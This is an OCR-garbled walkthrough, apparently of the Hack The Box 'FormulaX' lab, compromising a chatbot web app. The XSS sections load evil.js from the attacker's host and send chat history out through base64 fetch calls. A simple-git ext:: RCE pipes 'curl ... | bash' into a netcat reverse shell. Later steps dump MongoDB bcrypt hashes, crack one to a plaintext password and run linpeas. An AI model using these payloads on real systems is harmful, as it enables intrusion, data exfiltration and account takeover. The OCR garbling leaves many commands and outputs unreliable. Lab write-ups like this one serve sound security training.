Starting with the machine:

)-[~/Downloads|
competitive_Langur69.ovpn

sudo: unable to resolve host Bipsbabes: Name or service not known
2024-03-12 00:32:16 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent p
pression yes" is also set.
2024-03-12 00:32:16 Note: --data-cipher-fallback with cipher 'AES-128-CBC' disables data channel offload.
2024-03-12 00:32:16 OpenVPN 2.6.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2024-03-12 00:32:16 library versions: OpenSSL 3.0.1119 Sep 2023, LZO 2.10
2024-03-12 00:32:16 DCO version: N/A
2024-03-12 00:32:17 TCP/UDP: Preserving recently used remote address: [AF_INET]142.234.200.47:1337
2024-03-12 00:32:17 Socket Buffers: R=[212992->212992] S=[212992->212992]
2024-03-12 00:32:17 UDPv4 link local: (not bound)
2024-03-12 00:32:17 UDPv4 link remote: [AF_INET]142.234.200.47:1337
2024-03-12 00:32:17 TLS: Initial packet from [AF_INET]142.234.200.47:1337, sid=0690b82c 43eaf15f
2024-03-12 00:32:17 VERIFY OK: depth=1, C=UK, ST=City, L=London, O=HackTheBox, CN=HackTheBox CA, name=htb, emailAddress=info@hack
2024-03-12 00:32:17 VERIFY KU OK

Checking the connection with the machine in Linux:

210.10.11.6
PING 10.10.11.6 (10.10.11.6) 56(84) bytes of data.
64 bytes from 10.10.11.6: icmp_seq=1 tt|=63 time=353 ms
64 bytes from 10.10.11.6: icmp_seq=2 tt|=63 time=102 ms

---10.10.11.6 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001Tms
rtt min/avg/max/mdev =101.954/227.570/353.187/125.616 ms

Checking the connection via ip address:

qeomBP v 1 w2034 % 5 O &ww06sd) A B 057 | @& G
® B 10.10.11.6/static/index.hti X+

e C @ O & 10.10.1.6/st

KaliLinux # KaliTools « Kali Docs Kali Forums X Kali NetHunter Exploit-DB cking DB OffSec

Problem-Solving Chatbot =2

Enter Email

password

1| FORMULAX - Bipin Adhikari



Creating a new user:

spetsnaz

spetsnaz@lambton.com

REGISTER

eady Have an Account ? Login here

Alre

Accessing login portal:

s

‘Solver

" Chat Now 2=
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Starting with chatbot:

« Kali Docs Kali Forums e\ K

Greetings!. How can i help you today ?. You can type| 0 see some buildin commands

Checking change password via burp:

Intercept HTTP histery WebSockets history {8} Proxy settings

(P Request tohttp//10.10.11.6:80

Forward Drop Action Open browser

Pretty  Raw  Hex
POST /user/api/changepassword HTTP/1.1
Host: 10.10.11.6
User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: applicatlon/json
Content-Length: 75
origin: http://10.10.11.6
10 Connection: close
11 Referer: http://10.10.11.6/restricted/changepassword.html
12
13
14 {

DN U S W

©

"confirm_password":"123456"

1% 2%+
ERE o <

Request

Pretty  Raw  Hex
POST /user/api/changepassword HTTP/1.1
Host: 10.10.11.6
User-Agent: Mozilla/5.0 (X11; Linux x85_64; rvil09.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 75
origin: http://10.10.11.6
10 Connection: close

DNOU s WN =

©

"old_password” : "password"
['password" : "123456",
" confirm_password" :* 123456"
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Commands
Shows the Previous Sent Messages You can always ask random Questions

history

Message Sent:
help

Message Sent:
history

SUBMIT QUERY

Go to Home Page

Cookie: authorization=Bearer%20eyJhbGci0llIUzI1NITSINRSCCIGIkpXVCIS. ey)1c2VySUQLOLT 2NWY wiT JhZGhk MzMx MUy ZTk 30TY 20DT 1 LCIpY XQ1 0] E3MT AYNDgZMzNG. - ISUBmrdS2Imiy6t908vS_IPTaRXOvspELecvqgTAnO

oidpesmord pesmerd, «— changed password to 123456

Response
n = Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Tue, 12 Mar 2024 13:08:04 GMT
4 Content-Type: application/json; charset=utf-g8
S Content-Length: 62
6 Connection: close
7 X-Powered-By: Express
9 Access-Control-allow-Origin: *
O Access-Control-Allow-Credentials: true
10 ETag: W/"3e-fwMaalQlu7y¥1IZmoQuwtoyDldny"

11 Referer: http://10.10.11.6/restricted/changepassword.html 11
12 Cookie: authorization= 12 4

Bearer%20eyJhbGe101JIUzI IN1ISINRScCI6IkpXVCIS. eyd Le2VySUQL 01 I 2NwYwiT Jh ZGNk MzMx MWLy ZTk 30TY 20011 L. "Status":'Success’,

CJIPYXQLO]E3MT AyNDg2MzNS . - I SUBMrdS3ImkWv6t908vS_JPTaRX0Ovs pBlecvagT AN "Message" :"Password changed Successfully"
13 3
14 {

Inspe
Reque
Reque
Reque
Reque

Respo



Nmap scan:

The scan is done and is saved for further use as a log file.

kali@Bipsbabes: ~/Desktop/spetsnaz

File Actions Edit View Help
kali@Bipsbabes: ~/Downloads %  kali@Bipsbabes: ~/Desktop/spetsnaz X

GNU nano scan.log.nmap

tt Nmap 7.94 scan .
Nmap scan report for 10.10.11.6
Host is up (0.038s latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh  OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)

|_ 256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)

80/tcp open http nginx 1.18.0 (Ubuntu)

|_http-favicon: Unknown favicon MD5: 496A37014B10519386B2904D1B3086BE

| http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS

| http-title: Site doesn't have a title (text/html; charset=UTF-8).

|_Requested resource was [static/index.html

|_http-server-header: nginx/1.18.0 (Ubuntu)

|_http-cors: GET POST

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: [usr/bin/../[share/nmap

on Undo

kali@Bipsbabes: ~/Downloads X kali@Bipsbabes: ~/Desktop/spetsnaz X

0.1011.6() St
>st: 10.10.11.6 () Ports: 22 n/tcp//ssh//OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)/, 80/0p

at Mar 12 00:52:2 024 --11P address canned in 8.
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Scanning contact admin, insight xss:

spetsnaz
bips|

SRC=p Qoelrgr="var scriptl =

<img
document.greateElement('script);
scriptl.gr¢="htp;//10.10.10.69/evil.js";
document.head.appendGhild(scriptl);”
I>

Vi

SEND MESSAGE

Message Sent Successfully

Page Home Page

A script just to check whether XSS works in the system, well it created a response after
deployment, which means that XSS and RCE is a possible scenario, although no file named
evil.js has been created yet.

<img SRC=p onerror="var scriptl = document.createElement(‘script’); scriptl.src =
"http://10.10.14.66/evil.js"; document.head.appendChild(scriptl);" />

The above code was not executing therefore had to manipulate and convert it into base64
format and then listen to it.

<img SRC=x
onerror="eval(atob(""Y29uc3Qgc2NyaXB0ID0gZG9jdW1lbnQuY3JIYXRIRWxIbWVudCgnc2
NyaXB0Jyk7CnNjcmlwdC5zcmMgPSANL3NvY2tldC5pby9zb2NrZXQuaW8uanMnOwpkb2N1
bWVudC50ZWFkLmFwcGVuZENoaWxkKHNjecmlwdCk7CnNjcmlwdC5hZGRFdmVudExpc3
RIbmVyKCdsb2FkJywgZnVuY3Rpb240KSB7CmNvbnNOIHJIcyA9IGF4aW9zLmdldChgL3Vz
ZXIVYXBpL2NoYXRgKTsgY29uc3Qgc29ja2V0ID0gaW8oJy8nLHt3aXRoQ3JIZGVudGlhbH
M6IHRydWV9KTsgc29ja2VOLmMOuKCdtZXNzYWdIJywgKG15X211c3NhZ2UpID0+IHtmZXR
jaCgiaHROcDovLzEWLJEWLE2Ljc2Lz9kPSIgKyBidG9hKG15X21Ic3NhZ2UpKX0pIDsgc29j
a2VoLmVtaXQoJ2NsaWVudF9tZXNzYWdlJywgJ2hpc3RvenknKTsKfSk7));' />
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~[Desktop/spetsnaz

024] PHP Jevelopment Serve

~[Desktop/spetsnaz

lopment ¢

ccepted

Inspecting chatbot itself, as it was displaying previous messages instead of a proper history
which it could have even saved but seems that the chatbot was just responding to the user
command history instead of the actual necessary history.

®  © HackThe Box:: HackThe x @ The proy srefusi X CB Chat Application X | http://10.10.11.6 restricted/cl X | http://10.10.11

C @ @ view-source:http://10.10.11.6/restricted/chat.js

KaliLinux #s KaliTools # Kali Docs Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

let value;
const res = axios.get( /user/api/chat’);
const socket = io('/',{withCredentials: true});

//listening for the messages
socket.on('message’, (my message) > {

//console.log("Received From Server: " + my message)
Show_messages on_screen_of Server(my message)

})

const typing_chat = () => {
value = document.getElementById('user_message').value
if (value) {
// sending the messages to the server
socket.emit('client _message', value)
Show_messages_on_screen_of_Client(value);
// here we will do out socket things..
document.getElementById('user message').value = ""
}
else {
alert("Cannot send Empty Messages");
}

}
function htmlEncode(str) {
return String(str).replace(/[™\w. 1/gi, function (c) {
return '&*' + c.charCodeAt(0) + ';';

'

}

const Show messages on screen of Server = (value) => {
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C @ & view-source:http://10.10.11.6,s0cket.io/socket.io.js

nux 8 Kali Tools « Kali Docs Kali Forums  ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

/!

* Socket.IO v4.7.1

* (c) 2014-2023 Guillermo Rauch

* Released under the MIT License.

*/

(function (global, factory) {

typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory()

typeof define === 'function' && define.amd ? define(factory) :

(global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.io = factory());

}) (this, (function () { 'use strict';

function typeof(obj) {
"@babel/helpers - typeof";

return typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj)
return typeof obj;
} : function (obj) {
return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.protot
}, _typeof(obj);

function classCallCheck(instance, Constructor) {
if (!(instance instanceof Constructor)) {
throw new TypeError("Cannot call a class as a function");

}

function defineProperties(target, props) {
for (var i = 0; i < props.length; i++) {
var descriptor = props[i];
descriptor.enumerable = descriptor.enumerable || false;
descriptor.configurable = true;
if ("value" in descriptor) descriptor.writable = true;

Creating a JS file evil.js with the necessary scripts changing the history status as provided to at
least find a user access, but that doesn’t seem to be possible because of the toughness of the

machine.

kali@Bipsbabes: ~/Desktop/spetsnaz

[[create script
const script = document.createElement('script’)

[Isource att (socket.io)
script.src = '[socket.io/socket.io.js'

/lappend scr (head):
document.head.appendChild(script);

[[listner for load event
script.addEventListner('load',function(){
[Iget request from the server
const res = axios.get(" /user/api/chat’);
[/socket io connection with server
const socket =io('/",fwithCredentials: true});

[/listening to event from chat

socket.on('message’, (my_message)>={
//get req local sys.
fetch(http://10.10.14.66/2 + btoa(my _message));

b

[Iclient to server with history:
socket.emit('client_message','history');

)

-- INSERT -- 20,31-45
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Executing the XSS but in the port 8090:

<img SRC=p onerror="var scriptl = document.createElement('script’); scriptl.src =
"http://10.10.16.76:8090/evil.js"; document.head.appendChild(scriptl);"” />

~[Desktop/spetsnaz
0.0.0.0:8090
u Mar 14 11:09:C HP 8.2.12 Development Server (http://0.0.0.0:8090)
Thu Mar 14 11:09:3 0.10.11.6:51388 Accepted

[Tt
[
[Thu Mar 14 11:C

[Thu Mar 14 11:0¢ 2024]10.10.11.6:51388 C
[Thu Mar 14 11:09:2

[Thu Mar 14

[Thu Mar 14 11:0¢

[Thu Mar 14 11:09:4

[Thu Mar 14 11:0¢

[Thu Mar 14 11:09:

[Thu Mar14 T

Admin:

File Actions Edit View Help
kali@Bipsbabes: ~/Downloads *  Kali@Bipsbabes:~ X kali@Bipsbabes: ~/Desktop/spetsnaz X
command 'basez' from deb basez
Try: sudo apt install <deb name>
Az il  Develo ent Server (http://0

- P ~/Desktop/spetsnaZ

A[[BA [[B’\[[B[Thu 14 11:25:19 2024] 10.10.11.6:53014 Accepted echo

hu Mar14-11:2 0. 6 g

hu Mar 14 10 . ccepte Hello, lam Admin.Testing the Chat Application

hu Mar 14 L .

hu Mar 14 11:25 L . c d ~[Desktop/anratenas

hu Mar 14 1920 ce f pIsp

[Thu Mar 14-11:

[ Thu Mar 14 11:25:19 2024 |

[Thu Mar 14 11:25:19 2024]

[Thu Mar 14 1 D9 202.
[Thu M

[Thu M

[Thu M

[Thu Mar 14

[Thu M

[Thu M

[Thu M

hu Mar 14 19 10. ~[Desktop/spetsnaz
hu Mar 14 0.10. d echo

hu Mar 14 11: 0.10. base64

t 2 -

T
T
T
Thu Mar 14

[
[
[
[

Hello, | am Admin.Testing the Chat Application

[Thu Mar 14 11:
~[Desktop/spetsnaz

[Thu Mar 14 11:

hu Mar 14 24110 r git-auto-update.chatbot.htb to
hu Mar 14 0. 0. work properlybas valid input
t
t

u Mar 1411z

[r
[T
[T C g
[Thu Mar 14 H ~[Desktop/spetsnaz

Thu Mar 1411
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huManldil125-122024] 2 a script for dev-git-auto-update.chatbot.htb to

work properlybase64: invalid input
41
~[Desktop/spetsnaZ
hu Mar
wu Mar

1

arl
1 echo
141

hu Mar 14 1

Greetings!. How can i help you today ?. You can type h
hu Mar 141 - elp to see some buildin commandsbase64: invalid input

hu Mar 14 1

~[Desktop/spetsnaz
echo

Write a script t ate auto-updateba
lid input

ding a request; ~/Desktop/spetsnaz

dev-git-auto-update.chatbot.htb

Adding host ip: “vi /etc/hosts” because the next DNS is not reachable by VPN, so we need to
register it.

kali@Bipsbabes: ~/Desktop/spetsnaz

~[/Desktop/spetsnaz X

127.0.0.1 Bipsbabes

127.0.1.1  kali

=1 localhost ip6-localhost ip6-loopback
ip6-allnodes
ip6-allrouters

Hmachine formulaX:

10.10.11.6  chatbot.htb dev-git-auto-update.chatbot.htb

-- INSERT --

“10.10.11.6  chatbot.htb dev-git-auto-update.chatbot.htb
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The Ip was added to get access to the required page, clse error was detected as “no address
found”

KaliLinux g Kali Tools ¢ Kali Docs

Enter Remote Git Url

GET REPORT

Google this version for necessary process

Enter Remote Git Url

GET REPORT

Made with ® by Chatbot2 Usina simple-ait v3.14]
Reference for preexisting exploit: https://security.snyk.io/package/npm/simple-git
The RCE affecting simple-git versions below 3.15 (machine: 3.14) has the CVSS score as 8.1:

' snyk ‘ SECURITY Developer Tools w  About Snyk

Snyk Vulnerability Database » npm » simple-git Q-

Remote Code Execution (RCE)

Affecting simple-git package, versions <3.15.0

HIGH

INTRODUCED: 10 NOV 2022 CVE-2022-25912 @ CWE-94 @ ( FIRST ADDED BY SNYK ) Share v
Snyk CVSS
How to fix? Attack Complexity High @
Upgrade simple-git to version 3.15.0 or higher.
Confidentiality (en) @
Oveiview Integrity o
simple-git is a light weight interface for running git commands in any node.js application. Availability °

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport
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https://security.snyk.io/package/npm/simple-git

Kali Linux X 3 Cha ation X Git Updator < @ simple-g 0 x simple-git vulnerabilit

> C @ 8 snyk.io

KaliLinux # KaliTools = Kali Docs Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec

LATEST V
Direct Vulnerabilities 3.22.0
Known vulnerabilities in the simple-git package. This does not include vulnerabilities belonging to this package's
dependencies. LATEST N
3.22.0

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free FIRST PUE

11 years a

LATEST V
VULNERABILITY VULNERABLE 2months ¢

VERSION

LICENSES
m Remote Code Execution (RCE) <3.16.0

MIT >=0
m | Remote Code Execution (RCE) <3.15.0

View simp
m Improper Neutralization of Argument Delimiters in a Command (‘Argument <3.5.0

Injection’)

m Command Injection <3.3.0 Report a ni

Starting with RCE via Burp

r ar

A Notsecure dev-git-auto-update.chatbot.htb

fari/s37.36

http://10.10.16.76

GET REPORT

Loading...

Working with the Point of Contact (PoC) of the IP, by replacing the IP. Although error response
was obtained from the given request.
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BUp  Project Intruder Kepeater View  Help

Dashboard ~ Target Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer
1+
@
@
Request
Pretty  Raw  Hex
1 POST /clone HTTR/1.1
2 Host: dev-git-aute-update.chatbot.hth
S Content-Length: 52
4 User-Agent: Mozilla/5,0 (Windows NT 10,0; WinG4; x64) AppleWebKit/537,36 (KHTML, like Gecko)

Chrone/118.0.6045.159 Safari/S37.36
5 Content-Type: application/json
6 Accept
Origin: http://dev-git-auto-update,chatbot htb
& Referer: http://dev-git-auto-update.chatbot . hth/
9 Accept-Encoding: gzip, deflate, br
10 Accept-Language: en-US,en;q=0.9
11 Connection: close

“destinationUrl"|"ext::sh -c touch% /tnp/pwrf >62"

Script from RCE.

ICMP TCPdump response:

1x +
[5) <
@ <

Request

Pretty  Raw  Hex

1 POST /clone HTTP/L.L

2 Host: dev-git-auto-update. chatbot .htb

S Content-Length: 48

4 User-Agent: Mozilla/5.0 (Windows NT 10.0: WinGa: x64) AppleWebKit/537.36 (KHTHL, like Gecko)

Chrome/118.0.6045, 159 Safari/537.36
5 Content-Type: application/json

Origin: http://dev-git-auto-update. chatbot . htb
& Referer: http://dev-git-auto-update. chatbot .htb/
9 Accept-Encoding: gzip, deflate, br

) Accept -Language: en-US,en;q=0.9

Connection: close

“destinationUrl": ext:iping -c4 10.10.16.76"

TCPdump with VPN IP.

~[Desktop/spetsnaz]
tun0 icmp

suppressed, use -v[v]... for full protocol decoc
g on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
: 20 IP chatk 0.16. CMP echo request,

Using the following script to listen at 9001:
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Checking response from ICMP

Organizer  Extensions  Learn

Response
= Pretty  Raw  Hex
HTTR/1.1 200 OK
Server: nginx/1,18.0 (Ubuntu)
Date: Thu, 14 Mar 2024 18:15:58 GMT
Content-Type: application/json; charset-utf-g
Content-Length: 37
Connection: close
X-Powered-By: Express
& ETag: W/"25-9rbwSXMaAnaxHpxKAC] 0/ 3njac”

s W e

"response”:"Error: Failed to Clone"

Response

Pretty  Raw  Hex

1 HTTP/1,1 200 OK

2 Server: nginx/1.18.0 (Ubuntu)

S Date: Thu. 14 Mar 2024 18:24:08 GHT

4 Content-Type: application/json: charset=utf-8
S Content-Length: 37

Connection: close

X-Powered-By: Express

8 ETag: W/"25-9ribwsXigAngxHpxKAC] 0/3njac”

“response* :"Errar: Failed to Clone’]

Target: http:/idev-git-2

Inspe

Reque

Reque

Reque

Reque

Respor



QO B hitpsi/iw

s = Kali Docs

Changing the code to base64 format and repeating it did not work either.

Kali Forums X Kali NetHunter

revshells.com

Exploit-DB
IP & Port

P 10.10.16.76

Reverse

0s All Name

Bash-i

Bash 196

Bash read line

Bash5

Bash udp

nc mkfifo

nc-e

nc.exe -e

BusyBox nc -e

nc-c

https://www.revshells.com/

MSFVenom

Google Hacking DB OffSec

Port 9001 g%

HoaxShell

Shell

Listener

7 nc

Type

>& /dev/tep/

/bin/bash Encoding

2 L2Ipbi9iYXNoIC1pIDAmICOKZXYVAGNWLZEWL]EWLJE2L]jc2LzkwMDEgGMDAMMQ==

The only option left here is to create a .sh file and execute it accordingly:

Shell /bin/bash

Encoding
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Base64

Raw

-lvnp

nc

None

@ showadvanced ()



https://www.revshells.com/

Request Response
Pretty  Raw  Hex m o= Pretty  Raw  Hex  Render
1 POST /clone HTTP/1.1 1 HTTP/1.1 504 Gateway Time-out
2 Host: dev-git-auto-update.chatbot.hth 2 Server: nginx/1.18.0 (Ubuntu)
3 Content-Length: 74 3 Date: Thu, 14 Mar 2024 19:11:26 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x&64) AppleWebKit/537.36 (KHTML, like Geckol 4 Content-Type: text/html
Chrome/119.0.6045,159 Safari/537.36 S Content-Length: 578
S Content-Type: application/json & Connection: close
€ Accept: /% 7
7 origin: http://dev-git-auto-update.chatbot. hth 8 <html>
8 Referer: http://dev-git-auto-update.chatbot.hths 9 <heads
9 Accept-Encoding: gzip. deflate, br <titles
10 Accept -Language: en-US,en;g=0.9 504 Gateway Time-out
11 Connection: close </title>
12 <fhead>
3 10 <body>
"destinationUrl”:"ext::sh -c curl% httl::,‘,‘10.10‘16‘764‘5hall.shHJash“ 11 =center>
1810136176 AL S o
504 Gateway Time-out
</hl>
<f/center=>
1z <hr>
<center>
nginx/1.18.0 (Ubuntu)
- - - =/center>
File with the script (shell.sh) = i
14 </htnl>
15 <1-- & padding to disable MSIE and Chrome friendly error page --=
16 <!-- a padding to disable MSIE and Chrome friendly error page -->
-- a padding to disable MSIE and Chrome friendly srror page --=
8 -- @ padding to disable MSIE and Chrome friendly error page -->
3 -- @ padding to disable MSIE and Chrome friendly error page -->
20 <!-- a padding to disable MSIE and Chrome friendly error page --=
21

~[Desktop/spetsnaz

nc 9001
listening on [any] 9001 ...
connect to [10.10.16.76] from (UNKNOWN) [10.10.11.6] 52982
bash: cannot set terminal process group (1183): Inappropriate ioctl for device
bash: no job control in this shell
www-data@formulax:~/git-auto-update$ which python 3
which python 3
www-data@formulax:~/git-auto-update$

User access successfully done:

www-data@formulax:~/git-auto-update$ s
ls
inde

node_modules

package-lock.json

package.json

public

www-data@formulax:~/git-auto-update$ cd public
cd public

www-data@formulax:~/git-auto-update/public$ ls

ls

index

inde

inde

inde

uploads
www-data@formulax:~/git-auto-update/public$ |

Checking out all the possible files and root folders:
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WWW-C Dformulax:~/git-auto-update/public$ cd
cd

www-data@formulax:~$ ls

ls

app

automation

git-auto-update
www-data@formulax:~$ cd app
cd app
www-data@formulax:~/app$ ls
Is

app.Js

package.json
public

routes

import mongoose from "mongoose";

const connectDB= async(URL_DATABASE)=>{

Investigating the database, and sockets

(-Intp because: listening sockets, addresses instead of hostname, TCP sockets and process using
sockets):
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iguration$ s

ortF

127.0.0.1:
127.0.0
4096 127.0.0.5
LISTEN O
LISTEN C
= Y
LISTEN O
LISTEN O
LISTEN O

LISTEN O

Going through the structure and hacking basics of MongoDB as “mongoose” must be a hint
that the database is in MongoDB.

https://book.hacktricks.xyz/network-services-pentesting/27017-27018-mongodb

export default connectDBwww-data@formulax:~[app/configuration$ mongodb
mongodb
bash: mongodb: command not found

www-data@formulax:~/app/configuration$ mongo
mongo
MongoDB shell version v4.4.29

Going deep to find the users:
“show dbs”
“use testing”

“show collections ”
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www-data@formu ax:~/app/configuration$ mongo

mongo

MongoDB shell version v4.4.29

connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongod
b

Implicit session: session { "id" : UUID("fe97729c-5a03-40b9-9834-d5a4d61b03a0") }
MongoDB server version: 4.4.8

show dbs

admin 0.000GB

config 0.000GB

local 0.000GB

testing 0.000GB

how [messages] :

45:1

874de313b8717284f457¢"), "name" : "admin", "email" : "admin@chat

]

S 2bS10SVSrvhM/5YGMOuyCeEYf/Tuv)zzTz.jDLVI2QqtumdDoKGSa.6alCl

rue, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzITNilsInR

fFA57d"), "name" : "frank e
0$hrB/by.tb/4ABJbbt1l4/ep/L4CTY639
"t wv':0}

_ 3 Eld( : de : "chatbox", "email" : "chatbox@

gmail hassword Sfv : GRqelbuYzarBrV/MadFUqwMh6WSsMIq"
, "terms 1e, "value": false, "z zation_token" : "Bearer eyJhbGc

INR5cCI61kpXVCI9.eyJ1c2VySL 2NWYzNTRKNTIOZWYyZDBmM,jVj
Z9.RWjHagKy3D6NPAJlgawFICbJijZZo9Nep9mtRnYCzJ8"," _v":0}

Saving the content to decrypt the file using hashcat:

~[Desktop/spetsnaz
cat chathash.txt

frank_dorky:$2b$10$hrB/by.tb/4ABJbbt1l4/ep/LACTY6391eSETamjLp7s.elpsB4J6
admin:$2b$105VSrvhM/5YGMOuyCeEYf/Tuv)zzTz.jDLVJ2QqtumdDoKGSa.6alC.
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Command given to execute hashcat:

“sudo hashcat -m 3200 chathash.txt/usr/share/wordlists/rockyou.txt.gz”

~[Desktop/spetsnaz
3200 chathash.txt /usr/share/wordlists/rockyou.txt.gz

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 4.0+debian Linux, None+Asserts, RELOC, SPIR, L
LVM 15.0.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-sandybridge-AMD Ryzen 7 5800H with Radeon Graphics, 701/14
67 MB (256 MB allocatable), 4AMCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotate
5

Rules: 1

Host memory required for this attack: 0 MB

Dictionary cache built:

* Filename..: fusr/share/wordlists/rockyou.txt.gz
* Passwords.: 14344392

* Bytes.....: 139921507

* Keyspace..: 14344385

* Runtime...: 2 secs

[s]tatus [p]ause [blypass [c]heckpoint [f]inish [q]uit => ‘
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Decrypted frank_dorkey user password: “manchesterunited”

SETamjLp7s.elpsB4J6:manchesterunited
qJuit =>

GitHub on linpeas, process for userflag:
https://github.com/carlospolop/PEASS-ng/releases/tag/20240310-532aceca

Release refs/heads/master 20240310-532aceca

() github-actions released this 5 de C ©y 20240310-53.. o aeeBacf @

v Assets (17

Installing linpeas.sh (updated version)
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Allocating linpeas back to the server and giving assigning access mode to cache directories,
scanning

kali@Bipsbabes: ~/Downloads X kali@Bipsbabes: ~/Desktopfspetsnaz %X  kali@Bipsbabes: ~/Desktop/spetsnaz
get http://10.10.16.76/linpeas.sh

>[linpeas.sh

v/shm$ [linpeas.sh

Results and responses:
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Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
LightMagenta: Your username

Basic information

OS: Linux version 5.15.0-97-generic (buildd@lcy02-amd64-033) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #107-Ubuntu S
MP Wed Feb 7 13:26:48 UTC 2024

User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Hostname: formulax

Writable folder:/dev/shm

[+] Jusr/bin/fping (linpeas can discover hosts, learn more with -h)

[+] /usr/bin/bash {linpeas can discover hosts, scan ports, and forward ports. Learn mor

ewith -h)

[+] /usr/bin/nc: (linpeas can discover hosts and scan ports, learn more with -h)

Caching directories

Operative system

Linux version 5.15.0-97-generic (buildd@lcy02-amd64-033) (gcc (Ubuntu 11.4.0-Tubuntu1~22.04) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #107-Ubuntu SMP W
ed Feb 713:26:48 UTC 2024

Distributor ID: Ubuntu
Description: Ubuntu 22.04.4 LTS
Release:  22.04

Codename:  jammy

Sudo version

Sudo version 1.9.9

PATH

Jusrflib/git-core:/usr/lib/git-core: | TIPSO/ s/ Lo cal/sbin:/usr/local/bin:fusr/sbin:fusr/bin:/sbin:/bin:/usr/games:/usr/loca

l/games:/snap/bin

Date & uptime
Fri Mar 15 00:26:09 UTC 2024
00:26:10 up 1:34, O users, load average: 1.12, 0.63, 0.51

Any sd*/disk* disk in /dev? (limit 20)
disk
sda
sdal
sda2
sda3

fastcgi_index index.php;

include fastcgi.conf;

-rw-r--r-- 1 root root 217 Jul 27 2022 /etc/nginx/snippets/snakeoil.conf
ssl_certificate [etc/ssl/certs/ssl-cert-snakeoil.pem;

ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;

-rw-r--r-- 1 root root 565 Jun 19 2023 [etc/nginx/conf.d/librenms.conf
server {

listen 127.0.0.1:3000;

server_name librenms.com;

root fopt/librenms/html;

index  index.php;

charset utt-8;

gzip on;

gzip_types text/css application/javascript text/javascript application/x-javascript image/svg+xml text/plain text/xsd text/xsl text/xm
location / {

try_files Suri $Suri/ /index.php?$query_string;

}

location ~ [*/I\.php(/I$) {

fastcgi_pass unix:/run/php-fpm-librenms.sock;
fastcgi_split_path_info A(.+\.php)(/.+)$;

include fastcgi.conf;

Something new to server name: librenms.com (a service used to ensure the reliability and
performance of network structures).

https://www.linkedin.com/pulse/what-librenms-used-how-do-i-add-services-vimal-th
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https://www.linkedin.com/pulse/what-librenms-used-how-do-i-add-services-vimal-thakur/

data@formul: imS cd /opt

sta@formulax:/opt Sls

ata@formulax:/opt$ s -lh

librenms 4.0K Feb 19 3 librenms
Xz ['rt"‘: Is

otS cd librenms
cd librenrr

data@formulax:/opt/librenms$ s

s: cannot ope ctory "'} Permission denied
dat:

Going through the librenms, the permission to list file was denied, logging in with obtained
user-id

a 10.10.11.6

Kall Forums < Kali NetHunter  Exploit-DB = Google Hacking DB /" OffSec

Your 24/7 Problem-Solving Chatt

frank_dorky@chatbot.htb

Exploit-DB

Admin Panel

SEARCH

User Messages
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Permission denied again and again, so accessing /home using frank_dorky:

www-data@formulax:/opt$ cd librenms

cd librenms
www-data@formulax:/opt/librenmsS ls

ls

ls: cannot open directory ".% Permission denied
www-data@formulax:/opt/librenms$ cd /home
cd /home

www-data@formulax:/homeS s

ls

frank_dorky

kai_relay

www-data@formulax:/homeS$ Is -lh

ls -lh

total 8.0K

drwxr-x--- 6 frank_dorky frank_dorky 4.0K Feb 19 21:20 frank_dorky
drwxr-x--- 12 kai_relay kai_relay 4.0K Mar 14 23:58 kai_relay
www-data@formulax:/home$ cd frank_dorky
cd frank_dorky

bash: cd: frank_dorky| Permission denied
www-data@formulaxsfrerreS-su-framiederky
su frank_dorky

Password: manchesterunited

ls

frank_dorky

kai_relay

cd frank_dorky

ls

user.txt

cat user.txt
021f624f300c25234ed25c88d007bc09

Caught the user flag!
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Listening and forwarding from port 3000 to the Ip obtained from librenms in the obtained
username, Ip of the machine:

mlDacktnnlenatenas

La in: Fri Mar
frank_dorky@formulax-5

